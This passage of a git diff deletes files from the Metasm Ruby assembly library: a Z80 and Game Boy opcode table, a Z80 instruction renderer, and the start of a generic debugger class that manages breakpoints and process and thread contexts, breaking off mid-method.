@valid_args[a] - o.props[a] = true if @valid_props[a] - o.fields[a] = [bin.length-1, @fields_shift[a]] if @fields_mask[a] - raise "wtf #{a.inspect}" unless @valid_args[a] or @valid_props[a] or @fields_mask[a] - } - @opcode_list << o - end - - def addop_macrocc(name, bin, *args) - %w[nz z nc c po pe p m].each_with_index { |cc, i| - dbin = bin.dup - dbin[0] |= i << 3 - addop name + cc, dbin, *args - } - end - - # data from http://www.z80.info/decoding.htm - def init_z80_common - @opcode_list = [] - @valid_args.update [:i8, :u8, :i16, :u16, :m16, - :r_a, :r_af, :r_hl, :r_de, :r_sp, :r_i, - :m_bc, :m_de, :m_sp, :m_hl, :mf8, :mfc - ].inject({}) { |h, v| h.update v => true } - @fields_mask.update :rz => 7, :ry => 7, :rp => 3, :rp2 => 3, :iy => 7, :iy8 => 7 - @fields_shift.update :rz => 0, :ry => 3, :rp => 4, :rp2 => 4, :iy => 3, :iy8 => 3 - - # some opcodes are in init_z80 when they are not part of the GB ABI - addop 'nop', [0b00_000_000] - addop 'jr', [0b00_011_000], :setip, :stopexec, :i8 - %w[nz z nc c].each_with_index { |cc, i| - addop 'jr' + cc, [0b00_100_000 | (i << 3)], :setip, :i8 - } - addop 'ld', [0b00_000_001], :rp, :i16 - addop 'add', [0b00_001_001], :r_hl, :rp - - addop 'ld', [0b00_000_010], :m_bc, :r_a - addop 'ld', [0b00_001_010], :r_a, :m_bc - addop 'ld', [0b00_010_010], :m_de, :r_a - addop 'ld', [0b00_011_010], :r_a, :m_de - - addop 'inc', [0b00_000_011], :rp - addop 'dec', [0b00_001_011], :rp - addop 'inc', [0b00_000_100], :ry - addop 'dec', [0b00_000_101], :ry - addop 'ld', [0b00_000_110], :ry, :i8 - - addop 'rlca', [0b00_000_111] # rotate - addop 'rrca', [0b00_001_111] - addop 'rla', [0b00_010_111] - addop 'rra', [0b00_011_111] - - addop 'daa', [0b00_100_111] - addop 'cpl', [0b00_101_111] - addop 'scf', [0b00_110_111] - addop 'ccf', [0b00_111_111] - - addop 'halt', [0b01_110_110] # ld (HL), (HL) - addop 'ld', [0b01_000_000], :ry, :rz - - addop 'add', [0b10_000_000], :r_a, :rz - addop 'adc', [0b10_001_000], :r_a, :rz - addop 'sub', [0b10_010_000], :r_a, :rz - addop 'sbc', [0b10_011_000], :r_a, :rz - addop 'and', [0b10_100_000], :r_a, :rz - addop 'xor', [0b10_101_000], :r_a, :rz - addop 'or', [0b10_110_000], :r_a, :rz - addop 'cmp', [0b10_111_000], :r_a, :rz # alias cp - addop 'cp', [0b10_111_000], :r_a, :rz # compare - - addop_macrocc 'ret', [0b11_000_000], :setip - addop 'pop', [0b11_000_001], :rp2 - addop 'ret', [0b11_001_001], :stopexec, :setip - addop 'jmp', [0b11_101_001], :r_hl, :setip, :stopexec # alias jp - addop 'jp', [0b11_101_001], :r_hl, :setip, :stopexec - addop 'ld', [0b11_111_001], :r_sp, :r_hl - addop_macrocc 'j', [0b11_000_010], :setip, :u16 # alias jp - addop_macrocc 'jp', [0b11_000_010], :setip, :u16 - addop 'jmp', [0b11_000_011], :setip, :stopexec, :u16 # alias jp - addop 'jp', [0b11_000_011], :setip, :stopexec, :u16 - - addop 'di', [0b11_110_011] # disable interrupts - addop 'ei', [0b11_111_011] - addop_macrocc 'call', [0b11_000_100], :u16, :setip, :saveip - addop 'push', [0b11_000_101], :rp2 - addop 'call', [0b11_001_101], :u16, :setip, :saveip, :stopexec - - addop 'add', [0b11_000_110], :r_a, :i8 - addop 'adc', [0b11_001_110], :r_a, :i8 - addop 'sub', [0b11_010_110], :r_a, :i8 - addop 'sbc', [0b11_011_110], :r_a, :i8 - addop 'and', [0b11_100_110], :r_a, :i8 - addop 'xor', [0b11_101_110], :r_a, :i8 - addop 'or', [0b11_110_110], :r_a, :i8 - addop 'cp', [0b11_111_110], :r_a, :i8 - - addop 'rst', [0b11_000_111], :iy8 # call off in page 0 - - addop 'rlc', [0xCB, 0b00_000_000], :rz # rotate - addop 'rrc', [0xCB, 0b00_001_000], :rz - addop 'rl', [0xCB, 0b00_010_000], :rz - addop 'rr', [0xCB, 0b00_011_000], :rz - addop 'sla', [0xCB, 0b00_100_000], :rz # shift - addop 'sra', [0xCB, 0b00_101_000], :rz - addop 'srl', [0xCB, 0b00_111_000], :rz - addop 'bit', [0xCB, 0b01_000_000], :iy, :rz # bit test - addop 'res', [0xCB, 0b10_000_000], :iy, :rz # bit reset - addop 'set', [0xCB, 0b11_000_000], :iy, :rz # bit set - end - - # standard z80 - def init_z80 - init_z80_common - - addop 'ex', [0b00_001_000], :r_af # XXX really ex AF, AF' ... - addop 'djnz', [0b00_010_000], :setip, :i8 - - addop 'ld', [0b00_100_010], :m16, :r_hl - addop 'ld', [0b00_101_010], :r_hl, :m16 - addop 'ld', [0b00_110_010], :m16, :r_a - addop 'ld', [0b00_111_010], :r_a, :m16 - - addop 'exx', [0b11_011_001] - addop 'out', [0b11_010_011], :i8, :r_a - addop 'in', [0b11_011_011], :r_a, :i8 - - addop 'ex', [0b11_100_011], :m_sp, :r_hl - addop 'ex', [0b11_101_011], :r_de, :r_hl - - addop 'sll', [0xCB, 0b00_110_000], :rz - - addop 'in', [0xED, 0b01_110_000], :u16 - addop 'in', [0xED, 0b01_000_000], :ry, :u16 - addop 'out', [0xED, 0b01_110_001], :u16 - addop 'out', [0xED, 0b01_000_001], :u16, :ry - addop 'sbc', [0xED, 0b01_000_010], :r_hl, :rp - addop 'adc', [0xED, 0b01_001_010], :r_hl, :rp - addop 'ld', [0xED, 0b01_000_011], :m16, :rp - addop 'ld', [0xED, 0b01_001_011], :rp, :m16 - addop 'neg', [0xED, 0b01_000_100], :r_a, :iy # dummy int field - addop 'retn', [0xED, 0b01_000_101], :stopexec # dummy int != 1 ? (1 = reti) - addop 'reti', [0xED, 0b01_001_101], :stopexec, :setip - addop 'im', [0xED, 0b01_000_110], :iy - addop 'ld', [0xED, 0b01_000_111], :r_i, :r_a - addop 'ld', [0xED, 0b01_001_111], :r_r, :r_a - addop 'ld', [0xED, 0b01_010_111], :r_a, :r_i - addop 'ld', [0xED, 0b01_011_111], :r_a, :r_r - addop 'rrd', [0xED, 0b01_100_111] - addop 'rld', [0xED, 0b01_101_111] - - addop 'ldi', [0xED, 0b10_100_000] - addop 'ldd', [0xED, 0b10_101_000] - addop 'ldir', [0xED, 0b10_110_000] - addop 'lddr', [0xED, 0b10_111_000] - addop 'cpi', [0xED, 0b10_100_001] - addop 'cpd', [0xED, 0b10_101_001] - addop 'cpir', [0xED, 0b10_110_001] - addop 'cpdr', [0xED, 0b10_111_001] - addop 'ini', [0xED, 0b10_100_010] - addop 'ind', [0xED, 0b10_101_010] - addop 'inir', [0xED, 0b10_110_010] - addop 'indr', [0xED, 0b10_111_010] - addop 'outi', [0xED, 0b10_100_011] - addop 'outd', [0xED, 0b10_101_011] - addop 'otir', [0xED, 0b10_110_011] - addop 'otdr', [0xED, 0b10_111_011] - - addop 'unk_ed', [0xED], :i8 - - addop 'unk_nop', [], :i8 # undefined opcode = nop - @unknown_opcode = @opcode_list.last - end - - # gameboy processor - # from http://nocash.emubase.de/pandocs.htm#cpucomparisionwithz80 - def init_gb - init_z80_common - - addop 'ld', [0x08], :m16, :r_sp - addop 'stop', [0x10] - - addop 'ldi', [0x22], :m_hl, :r_a # (hl++) <- a - addop 'ldi', [0x2A], :r_a, :m_hl - addop 'ldd', [0x32], :m_hl, :r_a # (hl--) <- a - addop 'ldd', [0x3A], :r_a, :m_hl - - addop 'reti', [0xD9], :setip, :stopexec - - # override retpo/jpo - @opcode_list.delete_if { |op| op.bin[0] & 0xE5 == 0xE0 } # rm E0 E2 E8 EA F0 F2 F8 FA - addop 'ld', [0xE0], :mf8, :r_a # (0xff00 + :i8) - addop 'ld', [0xE2], :mfc, :r_a # (0xff00 + :r_c) - addop 'add', [0xE8], :r_sp, :i8 - addop 'ld', [0xEA], :m16, :r_a - addop 'ld', [0xF0], :r_a, :mf8 - addop 'ld', [0xF2], :r_a, :mfc - addop 'ld', [0xF8], :r_hl, :r_sp, :i8 # hl <- sp+:i8 - addop 'ld', [0xFA], :r_a, :m16 - - addop 'swap', [0xCB, 0x30], :rz - - addop 'inv_dd', [0xDD], :stopexec # invalid prefixes - addop 'inv_ed', [0xED], :stopexec - addop 'inv_fd', [0xFD], :stopexec - - addop 'unk_nop', [], :i8 # undefined opcode = nop - @unknown_opcode = @opcode_list.last - end - - alias init_latest init_z80 -end -end diff --git a/lib/metasm/metasm/cpu/z80/render.rb b/lib/metasm/metasm/cpu/z80/render.rb deleted file mode 100644 index 51a7b2e81b..0000000000 --- a/lib/metasm/metasm/cpu/z80/render.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/cpu/z80/opcodes' -require 'metasm/render' - -module Metasm -class Z80 - class Reg - include Renderable - def render ; [self.class.i_to_s[@sz][@i]] end - end - class Memref - include Renderable - def render - r = ['('] - r << @base if @base - r << '+' if @base and @offset - r << @offset if @offset - r << ')' - end - end - - def render_instruction(i) - r = [] - r << i.opname - if not i.args.empty? - r << ' ' - i.args.each { |a_| r << a_ << ', ' } - r.pop - end - r - end - - def gui_hilight_word_regexp_init - ret = {} - - # { 'B' => 'B|BC', 'BC' => 'B|C|BC' } - - %w[BC DE HL].each { |w| - l0, l1 = w.split(//) - ret[l0] = "#{l0}#{l1}?" - ret[l1] = "#{l0}?#{l1}" - ret[w] = "#{l0}|#{l0}?#{l1}" - } - - ret - end - - def gui_hilight_word_regexp(word) - @gui_hilight_word_hash ||= gui_hilight_word_regexp_init - @gui_hilight_word_hash[word] or super(word) - end - -end -end diff --git a/lib/metasm/metasm/debug.rb b/lib/metasm/metasm/debug.rb deleted file mode 100644 index 26e88df103..0000000000 --- a/lib/metasm/metasm/debug.rb +++ /dev/null @@ -1,1445 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -module Metasm -# this class implements a high-level debugging API (abstract superclass) -class Debugger - class Breakpoint - attr_accessor :address, - # context where the bp was defined - :pid, :tid, - # bool: oneshot ? - :oneshot, - # current bp state: :active, :inactive (internal use), :disabled (user-specified) - :state, - # type: type of breakpoint (:bpx = soft, :hwbp = hard, :bpm = memory) - :type, - # Expression if this is a conditionnal bp - # may be a Proc, String or Expression, evaluated every time the breakpoint hits - # if it returns 0 or false, the breakpoint is ignored - :condition, - # Proc to run if this bp has a callback - :action, - # Proc to run to emulate the overwritten instr behavior - # used to avoid unset/singlestep/re-set, more multithread friendly - # may be a DecodedInstruction for lazy initialization, see Debugger#init_bpx/has_emul_instr(bpx) - :emul_instr, - # internal data, cpu-specific (overwritten byte for a softbp, memory type/size for hwbp..) - :internal, - # reference breakpoints sharing a target implementation (same hw debug register, soft bp addr...) - # shared is an array of Breakpoints, the same Array object in all shared breakpoints - # owner is a hash key => shared (dbg.breakpoint) - # key is an identifier for the Bp class in owner (bp.address) - :hash_shared, :hash_owner, :hash_key, - # user-defined breakpoint-specific stuff - :userdata - - # append the breakpoint to hash_owner + hash_shared - def add(owner=@hash_owner) - @hash_owner = owner - @hash_key ||= @address - return add_bpm if @type == :bpm - if pv = owner[@hash_key] - @hash_shared = pv.hash_shared - @internal ||= pv.internal - @emul_instr ||= pv.emul_instr - else - owner[@hash_key] = self - @hash_shared = [] - end - @hash_shared << self - end - - # register a bpm: add references to all page start covered in @hash_owner - def add_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared = [self] - - @internal ||= {} - @internal[:orig_prot] ||= {} - while a < m - if pv = @hash_owner[a] - if not pv.hash_shared.include?(self) - pv.hash_shared.concat @hash_shared-pv.hash_shared - @hash_shared.each { |bpm| bpm.hash_shared = pv.hash_shared } - end - @internal[:orig_prot][a] = pv.internal[:orig_prot][a] - else - @hash_owner[a] = self - end - a += 0x1000 - end - end - - # delete the breakpoint from hash_shared, and hash_owner if empty - def del - return del_bpm if @type == :bpm - @hash_shared.delete self - if @hash_shared.empty? - @hash_owner.delete @hash_key - elsif @hash_owner[@hash_key] == self - @hash_owner[@hash_key] = @hash_shared.first - end - end - - # unregister a bpm - def del_bpm - m = @address + @internal[:len] - a = @address & -0x1000 - @hash_shared.delete self - while a < m - pv = @hash_owner[a] - if pv == self - if opv = @hash_shared.find { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] > a - } - @hash_owner[a] = opv - else - @hash_owner.delete a - - # split hash_shared on disjoint ranges - prev_shared = @hash_shared.find_all { |bpm| - bpm.address < a + 0x1000 and bpm.address + bpm.internal[:len] <= a - } - - prev_shared.each { |bpm| - bpm.hash_shared = prev_shared - @hash_shared.delete bpm - } - end - end - a += 0x1000 - end - end - end - - # per-process data - attr_accessor :memory, :cpu, :disassembler, :breakpoint, :breakpoint_memory, - :modulemap, :symbols, :symbols_len - # per-thread data - attr_accessor :state, :info, :breakpoint_thread, :singlestep_cb, :run_method, - :run_args, :breakpoint_cause - - # which/where per-process/thread stuff is stored - attr_accessor :pid_stuff, :tid_stuff, :pid_stuff_list, :tid_stuff_list - - # global debugger callbacks, called whenever such event occurs - attr_accessor :callback_singlestep, :callback_bpx, :callback_hwbp, :callback_bpm, - :callback_exception, :callback_newthread, :callback_endthread, - :callback_newprocess, :callback_endprocess, :callback_loadlibrary - - # global switches, specify wether to break on exception/thread event - # can be a Proc that is evaluated (arg = info parameter of the evt_func) - # trace_children is a bool to tell if we should debug subprocesses spawned - # by the target - attr_accessor :pass_all_exceptions, :ignore_newthread, :ignore_endthread, - :trace_children - - # link to the user-interface object if available - attr_accessor :gui - - # initializes the disassembler internal data - subclasses should call super() - def initialize - @pid_stuff = {} - @tid_stuff = {} - @log_proc = nil - @state = :dead - @info = '' - # stuff saved when we switch pids - @pid_stuff_list = [:memory, :cpu, :disassembler, :symbols, :symbols_len, - :modulemap, :breakpoint, :breakpoint_memory, :tid, :tid_stuff, - :dead_process] - @tid_stuff_list = [:state, :info, :breakpoint_thread, :singlestep_cb, - :run_method, :run_args, :breakpoint_cause, :dead_thread] - @callback_loadlibrary = lambda { |h| loadsyms(h[:address]) ; continue } - @callback_newprocess = lambda { |h| log "process #{@pid} attached" } - @callback_endprocess = lambda { |h| log "process #{@pid} died" } - initialize_newpid - initialize_newtid - end - - def dasm; disassembler; end - - def shortname; self.class.name.split('::').last.downcase; end - - attr_reader :pid - # change pid and associated cached data - # this will also re-load the previously selected tid for this process - def pid=(npid) - return if npid == pid - raise "invalid pid" if not check_pid(npid) - swapout_pid - @pid = npid - swapin_pid - end - alias set_pid pid= - - attr_reader :tid - def tid=(ntid) - return if ntid == tid - raise "invalid tid" if not check_tid(ntid) - swapout_tid - @tid = ntid - swapin_tid - end - alias set_tid tid= - - # creates stuff related to a new process being debugged - # includes disassembler, modulemap, symbols, breakpoints - # subclasses should check that @pid maps to a real process and raise() otherwise - # to be called with @pid/@tid set, calls initialize_memory+initialize_cpu - def initialize_newpid - return if not pid - @pid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @symbols = {} - @symbols_len = {} - @modulemap = {} - @breakpoint = {} - @breakpoint_memory = {} - @tid_stuff = {} - initialize_cpu - initialize_memory - initialize_disassembler - end - - # subclasses should check that @tid maps to a real thread and raise() otherwise - def initialize_newtid - return if not tid - @tid_stuff_list.each { |s| instance_variable_set("@#{s}", nil) } - - @state = :stopped - @info = 'new' - @breakpoint_thread = {} - gui.swapin_tid if @disassembler and gui.respond_to?(:swapin_tid) - end - - # initialize the disassembler from @cpu/@memory - def initialize_disassembler - return if not @memory or not @cpu - @disassembler = Shellcode.decode(@memory, @cpu).disassembler - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one pid to another, save current pid data - def swapout_pid - return if not pid - swapout_tid - gui.swapout_pid if gui.respond_to?(:swapout_pid) - @pid_stuff[@pid] ||= {} - @pid_stuff_list.each { |fld| - @pid_stuff[@pid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one tid to another, save current tid data - def swapout_tid - return if not tid - gui.swapout_tid if gui.respond_to?(:swapout_tid) - @tid_stuff[@tid] ||= {} - @tid_stuff_list.each { |fld| - @tid_stuff[@tid][fld] = instance_variable_get("@#{fld}") - } - end - - # we're switching focus from one pid to another, load current pid data - def swapin_pid - return initialize_newpid if not @pid_stuff[@pid] - - @pid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @pid_stuff[@pid][fld]) - } - swapin_tid - gui.swapin_pid if gui.respond_to?(:swapin_pid) - end - - # we're switching focus from one tid to another, load current tid data - def swapin_tid - return initialize_newtid if not @tid_stuff[@tid] - - @tid_stuff_list.each { |fld| - instance_variable_set("@#{fld}", @tid_stuff[@tid][fld]) - } - gui.swapin_tid if gui.respond_to?(:swapin_tid) - end - - # delete references to the current pid - # switch to another pid, set @state = :dead if none available - def del_pid - @pid_stuff.delete @pid - if @pid = @pid_stuff.keys.first - swapin_pid - else - @state = :dead - @info = '' - @tid = nil - end - end - - # delete references to the current thread - def del_tid - @tid_stuff.delete @tid - if @tid = @tid_stuff.keys.first - swapin_tid - else - del_tid_notid - end - end - - # wipe the whole process when no TID is left - # XXX we may have a pending evt_newthread... - def del_tid_notid - del_pid - end - - - # change the debugger to a specific pid/tid - # if given a block, run the block and then restore the original pid/tid - # pid may be an object that respond to #pid/#tid - def switch_context(npid, ntid=nil, &b) - if npid.respond_to?(:pid) - ntid ||= npid.tid - npid = npid.pid - end - oldpid = pid - oldtid = tid - set_pid npid - set_tid ntid if ntid - if b - # shortcut begin..ensure overhead - return b.call if oldpid == pid and oldtid == tid - - begin - b.call - ensure - set_pid oldpid - set_tid oldtid - end - end - end - alias set_context switch_context - - # iterate over all pids, yield in the context of this pid - def each_pid(&b) - # ensure @pid is last, so that we finish in the current context - lst = @pid_stuff.keys - [@pid] - lst << @pid - return lst if not b - lst.each { |p| - set_pid p - b.call - } - end - - # iterate over all tids of the current process, yield in its context - def each_tid(&b) - lst = @tid_stuff.keys - [@tid] - lst << @tid - return lst if not b - lst.each { |t| - set_tid t rescue next - b.call - } - end - - # iterate over all tids of all pids, yield in their context - def each_pid_tid(&b) - each_pid { each_tid { b.call } } - end - - - # create a thread/process breakpoint - # addr can be a numeric address, an Expression that is resolved, or - # a String that is parsed+resolved - # info's keys are set to the breakpoint - # standard keys are :type, :oneshot, :condition, :action - # returns the Breakpoint object - def add_bp(addr, info={}) - info[:pid] ||= @pid - # dont define :tid for bpx, otherwise on del_bp we may switch_context to this thread that may not be stopped -> cant ptrace_write - info[:tid] ||= @tid if info[:pid] == @pid and info[:type] == :hwbp - - b = Breakpoint.new - info.each { |k, v| - b.send("#{k}=", v) - } - - switch_context(b) { - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - b.address = addr - - b.hash_owner ||= case b.type - when :bpm; @breakpoint_memory - when :hwbp; @breakpoint_thread - when :bpx; @breakpoint - end - # XXX bpm may hash_share with an :active, but be larger and still need enable() - b.add - - enable_bp(b) if not info[:state] - } - - b - end - - # remove a breakpoint - def del_bp(b) - disable_bp(b) - b.del - end - - # activate an inactive breakpoint - def enable_bp(b) - return if b.state == :active - if not b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - if not b.internal - init_bpx(b) if b.type == :bpx - b.internal ||= {} - b.hash_shared.each { |bb| bb.internal ||= b.internal } - end - do_enable_bp(b) - } - end - b.state = :active - end - - # deactivate an active breakpoint - def disable_bp(b, newstate = :inactive) - return if b.state != :active - b.state = newstate - return if b.hash_shared.find { |bb| bb.state == :active } - switch_context(b) { - do_disable_bp(b) - } - end - - - # delete all breakpoints defined in the current thread - def del_all_breakpoints_thread - @breakpoint_thread.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # delete all breakpoints for the current process and all its threads - def del_all_breakpoints - each_tid { del_all_breakpoints_thread } - @breakpoint.values.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - @breakpoint_memory.values.uniq.map { |b| b.hash_shared }.flatten.uniq.each { |b| del_bp(b) } - end - - # calls do_enable_bpm for bpms, or @cpu.dbg_enable_bp - def do_enable_bp(b) - if b.type == :bpm; do_enable_bpm(b) - else @cpu.dbg_enable_bp(self, b) - end - end - - # calls do_disable_bpm for bpms, or @cpu.dbg_disable_bp - def do_disable_bp(b) - if b.type == :bpm; do_disable_bpm(b) - else @cpu.dbg_disable_bp(self, b) - end - end - - # called in the context of the target when a bpx is to be initialized - # may (lazily) initialize b.emul_instr for virtual singlestep - def init_bpx(b) - # dont bother setting stuff up if it is never to be used - return if b.oneshot and not b.condition - - # lazy setup of b.emul_instr: delay building emulating lambda to if/when actually needed - # we still need to disassemble now and update @disassembler, before we patch the memory for the bpx - di = init_bpx_disassemble(b.address) - b.hash_shared.each { |bb| bb.emul_instr = di } - end - - # retrieve the di at a given address, disassemble if needed - # TODO make it so this doesn't interfere with other 'real' disassembler later commands, eg disassemble() or disassemble_fast_deep() - # (right now, when they see the block already present they stop all processing) - def init_bpx_disassemble(addr) - @disassembler.disassemble_fast_block(addr) - @disassembler.di_at(addr) - end - - # checks if bp has an emul_instr - # do the lazy initialization if needed - def has_emul_instr(bp) - if bp.emul_instr.kind_of?(DecodedInstruction) - if di = bp.emul_instr and fdbd = @disassembler.get_fwdemu_binding(di, register_pc) and - fdbd.all? { |k, v| (k.kind_of?(Symbol) or k.kind_of?(Indirection)) and - k != :incomplete_binding and v != Expression::Unknown } - # setup a lambda that will mimic, using the debugger primitives, the actual execution of the instruction - bp.emul_instr = lambda { - fdbd.map { |k, v| - k = Indirection[emulinstr_resv(k.pointer), k.len] if k.kind_of?(Indirection) - [k, emulinstr_resv(v)] - }.each { |k, v| - if k.to_s =~ /flags?_(.+)/i - f = $1.downcase.to_sym - set_flag_value(f, v) - elsif k.kind_of?(Symbol) - set_reg_value(k, v) - elsif k.kind_of?(Indirection) - memory_write_int(k.pointer, v, k.len) - end - } - } - bp.hash_shared.each { |bb| bb.emul_instr = bp.emul_instr } - else - bp.hash_shared.each { |bb| bb.emul_instr = nil } - end - end - - bp.emul_instr - end - - def emulinstr_resv(e) - r = e - flags = Expression[r].externals.uniq.find_all { |f| f.to_s =~ /flags?_(.+)/i } - if flags.first - bd = {} - flags.each { |f| - f.to_s =~ /flags?_(.+)/i - bd[f] = get_flag_value($1.downcase.to_sym) - } - r = r.bind(bd) - end - resolve(r) - end - - # sets a breakpoint on execution - def bpx(addr, oneshot=false, cond=nil, &action) - h = { :type => :bpx } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a hardware breakpoint - # mtype in :r :w :x - # mlen is the size of the memory zone to cover - # mlen may be constrained by the architecture - def hwbp(addr, mtype=:x, mlen=1, oneshot=false, cond=nil, &action) - h = { :type => :hwbp } - h[:hash_owner] = @breakpoint_thread - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - mtype = mtype.to_sym - h[:hash_key] = [addr, mtype, mlen] - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - # sets a memory breakpoint - # mtype is :r :w :rw or :x - # mlen is the size of the memory zone to cover - def bpm(addr, mtype=:r, mlen=4096, oneshot=false, cond=nil, &action) - h = { :type => :bpm } - addr = resolve_expr(addr) if not addr.kind_of? ::Integer - h[:hash_key] = addr & -4096 # XXX actually referenced at addr, addr+4096, ... addr+len - h[:internal] = { :type => mtype, :len => mlen } - h[:oneshot] = true if oneshot - h[:condition] = cond if cond - h[:action] = action if action - add_bp(addr, h) - end - - - # define the lambda to use to log stuff - def set_log_proc(l=nil, &b) - @log_proc = l || b - end - - # show information to the user, uses log_proc if defined - def log(*a) - if @log_proc - a.each { |aa| @log_proc[aa] } - else - puts(*a) if $VERBOSE - end - end - - - # marks the current cache of memory/regs invalid - def invalidate - @memory.invalidate if @memory - end - - # invalidates the EncodedData backend for the dasm sections - def dasm_invalidate - disassembler.sections.each_value { |s| s.data.invalidate if s.data.respond_to?(:invalidate) } if disassembler - end - - # return all breakpoints set on a specific address (or all bp) - def all_breakpoints(addr=nil) - ret = [] - if addr - if b = @breakpoint[addr] - ret |= b.hash_shared - end - else - @breakpoint.each_value { |bb| ret |= bb.hash_shared } - end - - @breakpoint_thread.each_value { |bb| - next if addr and bb.address != addr - ret |= bb.hash_shared - } - - @breakpoint_memory.each_value { |bb| - next if addr and (bb.address+bb.internal[:len] <= addr or bb.address > addr) - ret |= bb.hash_shared - } - - ret - end - - # return on of the breakpoints at address addr - def find_breakpoint(addr=nil, &b) - return @breakpoint[addr] if @breakpoint[addr] and (not b or b.call(@breakpoint[addr])) - all_breakpoints(addr).find { |bp| b.call bp } - end - - - # to be called right before resuming execution of the target - # run_m is the method that should be called if the execution is stopped - # due to a side-effect of the debugger (bpx with wrong condition etc) - # returns nil if the execution should be avoided (just deleted the dead thread/process) - def check_pre_run(run_m, *run_a) - if @dead_process - del_pid - return - elsif @dead_thread - del_tid - return - elsif @state == :running - return - end - @cpu.dbg_check_pre_run(self) if @cpu.respond_to?(:dbg_check_pre_run) - @breakpoint_cause = nil - @run_method = run_m - @run_args = run_a - @info = nil - true - end - - - # called when the target stops due to a singlestep exception - def evt_singlestep(b=nil) - b ||= find_singlestep - return evt_exception(:type => 'singlestep') if not b - - @state = :stopped - @info = 'singlestep' - @cpu.dbg_evt_singlestep(self) if @cpu.respond_to?(:dbg_evt_singlestep) - - callback_singlestep[] if callback_singlestep - - if cb = @singlestep_cb - @singlestep_cb = nil - cb.call # call last, as the cb may change singlestep_cb/state/etc - end - end - - # returns true if the singlestep is due to us - def find_singlestep - return @cpu.dbg_find_singlestep(self) if @cpu.respond_to?(:dbg_find_singlestep) - @run_method == :singlestep - end - - # called when the target stops due to a soft breakpoint exception - def evt_bpx(b=nil) - b ||= find_bp_bpx - # TODO handle race: - # bpx foo ; thread hits foo ; we bc foo ; os notify us of bp hit but we already cleared everything related to 'bpx foo' -> unhandled bp exception - return evt_exception(:type => 'breakpoint') if not b - - @state = :stopped - @info = 'breakpoint' - @cpu.dbg_evt_bpx(self, b) if @cpu.respond_to?(:dbg_evt_bpx) - - callback_bpx[b] if callback_bpx - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_bpx - def find_bp_bpx - return @cpu.dbg_find_bpx(self) if @cpu.respond_to?(:dbg_find_bpx) - @breakpoint[pc] - end - - # called when the target stops due to a hwbp exception - def evt_hwbp(b=nil) - b ||= find_bp_hwbp - return evt_exception(:type => 'hwbp') if not b - - @state = :stopped - @info = 'hwbp' - @cpu.dbg_evt_hwbp(self, b) if @cpu.respond_to?(:dbg_evt_hwbp) - - callback_hwbp[b] if callback_hwbp - - post_evt_bp(b) - end - - # return the breakpoint that is responsible for the evt_hwbp - def find_bp_hwbp - return @cpu.dbg_find_hwbp(self) if @cpu.respond_to?(:dbg_find_hwbp) - @breakpoint_thread.find { |b| b.address == pc } - end - - # called for archs where the same interrupt is generated for hwbp and singlestep - # checks if a hwbp matches, then call evt_hwbp, else call evt_singlestep (which - # will forward to evt_exception if singlestep does not match either) - def evt_hwbp_singlestep - if b = find_bp_hwbp - evt_hwbp(b) - else - evt_singlestep - end - end - - # called when the target stops due to a memory exception caused by a memory bp - # called by evt_exception - def evt_bpm(b) - @state = :stopped - @info = 'bpm' - - callback_bpm[b] if callback_bpm - - post_evt_bp(b) - end - - # return a bpm whose page coverage includes the fault described in info - def find_bp_bpm(info) - @breakpoint_memory[info[:fault_addr] & -0x1000] - end - - # returns true if the fault described in info is valid to trigger b - def check_bpm_range(b, info) - return if b.address+b.internal[:len] <= info[:fault_addr] - return if b.address >= info[:fault_addr] + info[:fault_len] - case b.internal[:type] - when :r; info[:fault_access] == :r # or info[:fault_access] == :x - when :w; info[:fault_access] == :w - when :x; info[:fault_access] == :x # XXX non-NX cpu => check pc is in bpm range ? - when :rw; true - end - end - - # handles breakpoint conditions/callbacks etc - def post_evt_bp(b) - @breakpoint_cause = b - - found_valid_active = false - - pre_callback_pc = pc - - # XXX may have many active bps with callback that continue/singlestep/singlestep{}... - b.hash_shared.dup.find_all { |bb| - # ignore inactive bps - next if bb.state != :active - - # ignore out-of-range bpms - next if bb.type == :bpm and not check_bpm_range(bb, b.internal) - - # check condition - case bb.condition - when nil; cd = 1 - when Proc; cd = bb.condition.call - when String, Expression; cd = resolve_expr(bb.condition) - else raise "unknown bp condition #{bb.condition.inspect}" - end - next if not cd or cd == 0 - - found_valid_active = true - - # oneshot - del_bp(bb) if bb.oneshot - - bb.action - }.each { |bb| bb.action.call } - - # discard @breakpoint_cause if a bp callback did modify register_pc - @breakpoint_cause = nil if pc != pre_callback_pc - - # we did break due to a bp whose condition is not true: resume - # (unless a callback already resumed) - resume_badbreak(b) if not found_valid_active and @state == :stopped - end - - # called whenever the target stops due to an exception - # type may be: - # * 'access violation', :fault_addr, :fault_len, :fault_access (:r/:w/:x) - # anything else for other exceptions (access violation is special to handle bpm) - # ... - def evt_exception(info={}) - if info[:type] == 'access violation' and b = find_bp_bpm(info) - info[:fault_len] ||= 1 - b.internal.update info - return evt_bpm(b) - end - - @state = :stopped - @info = "exception #{info[:type]}" - - callback_exception[info] if callback_exception - - pass = pass_all_exceptions - pass = pass[info] if pass.kind_of? Proc - if pass - pass_current_exception - resume_badbreak - end - end - - def evt_newthread(info={}) - @state = :stopped - @info = 'new thread' - - callback_newthread[info] if callback_newthread - - ign = ignore_newthread - ign = ign[info] if ign.kind_of? Proc - if 